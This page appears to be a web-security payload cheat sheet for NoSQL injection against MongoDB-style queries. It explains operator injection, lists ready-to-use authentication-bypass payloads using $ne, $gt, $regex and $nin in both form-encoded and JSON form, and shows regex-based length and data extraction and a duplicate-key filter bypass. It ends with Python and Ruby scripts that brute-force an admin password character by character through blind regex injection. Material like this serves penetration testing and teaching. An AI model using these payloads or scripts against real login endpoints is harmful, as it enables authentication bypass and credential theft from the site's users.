← cd ..

NoSQL Injection

Payloads and bypasses for web application security

readme.md

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren’t using the traditional SQL syntax.

Summary#

Tools#

Methodology#

NoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like $ne, $gt, $regex, or $where in MongoDB.

Operator Injection#

OperatorDescription
$nenot equal
$regexregular expression
$gtgreater than
$ltlower than
$ninnot in

Example: A web application has a product search feature

db.products.find({ "price": userInput })

An attacker can inject a NoSQL query: { "$gt": 0 }.

db.products.find({ "price": { "$gt": 0 } })

Instead of returning a specific product, the database returns all products with a price greater than zero, leaking data.

Authentication Bypass#

Basic authentication bypass using not equal ($ne) or greater ($gt)

  • HTTP data

    username[$ne]=toto&password[$ne]=totologin[$regex]=a.*&pass[$ne]=lollogin[$gt]=admin&login[$lt]=test&pass[$ne]=1login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
  • JSON data

    {"username": {"$ne": null}, "password": {"$ne": null}}{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}{"username": {"$gt": undefined}, "password": {"$gt": undefined}}{"username": {"$gt":""}, "password": {"$gt":""}}

Extract Length Information#

Inject a payload using the $regex operator. The injection will work when the length is correct.

username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}

Extract Data Information#

Extract data with “$regex” query operator.

  • HTTP data

    username[$ne]=toto&password[$regex]=m.{2}username[$ne]=toto&password[$regex]=md.{1}username[$ne]=toto&password[$regex]=mdpusername[$ne]=toto&password[$regex]=m.*username[$ne]=toto&password[$regex]=md.*
  • JSON data

    {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

Extract data with “$in” query operator.

{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

WAF and Filters#

Remove pre-condition:

In MongoDB, if a document contains duplicate keys, only the last occurrence of the key will take precedence.

{"id":"10", "id":"100"} 

In this case, the final value of “id” will be “100”.

Blind NoSQL#

POST with JSON Body#

Python script:

import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username="admin"password=""u="http://example.org/login"headers={'content-type': 'application/json'}while True:    for c in string.printable:        if c not in ['*','+','.','?','|']:            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)            if 'OK' in r.text or r.status_code == 302:                print("Found one more char : %s" % (password+c))                password += c

POST with urlencoded Body#

Python script:

import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username="admin"password=""u="http://example.org/login"headers={'content-type': 'application/x-www-form-urlencoded'}while True:    for c in string.printable:        if c not in ['*','+','.','?','|','&','$']:            payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)            if r.status_code == 302 and r.headers['Location'] == '/dashboard':                print("Found one more char : %s" % (password+c))                password += c

GET#

Python script:

import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username='admin'password=''u='http://example.org/login'while True:  for c in string.printable:    if c not in ['*','+','.','?','|', '#', '&', '$']:      payload=f"?username={username}&password[$regex]=^{password + c}"      r = requests.get(u + payload)      if 'Yeah' in r.text:        print(f"Found one more char : {password+c}")        password += c

Ruby script:

require 'httpx'username = 'admin'password = ''url = 'http://example.org/login'# CHARSET = (?!..?~).to_a # all ASCII printable charactersCHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']session = HTTPX.plugin(:persistent)while true  CHARSET.each do |c|    unless GET_EXCLUDE.include?(c)      payload = "?username=#{username}&password[$regex]=^#{password + c}"      res = session.get(url + payload)      if res.body.to_s.match?('Yeah')        puts "Found one more char : #{password + c}"        password += c      end    end  endend

Labs#

References#